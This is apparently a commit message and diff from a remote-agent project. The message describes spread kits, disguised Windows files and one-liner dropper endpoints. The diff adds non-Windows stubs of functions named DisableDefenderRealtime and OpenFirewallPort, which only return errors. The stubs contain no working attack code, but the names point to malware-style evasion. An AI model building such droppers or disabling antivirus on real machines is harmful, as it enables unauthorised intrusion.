Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/deploy/aggressive_stub.go

@@ -0,0 +1,13 @@
+//go:build !windows
+
+package deploy
+
+import "fmt"
+
+func DisableDefenderRealtime() (string, error) {
+	return "", fmt.Errorf("defender control is Windows-only")
+}
+
+func OpenFirewallPort(_ int, _ string) (string, error) {
+	return "", fmt.Errorf("firewall port open is Windows-only")
+}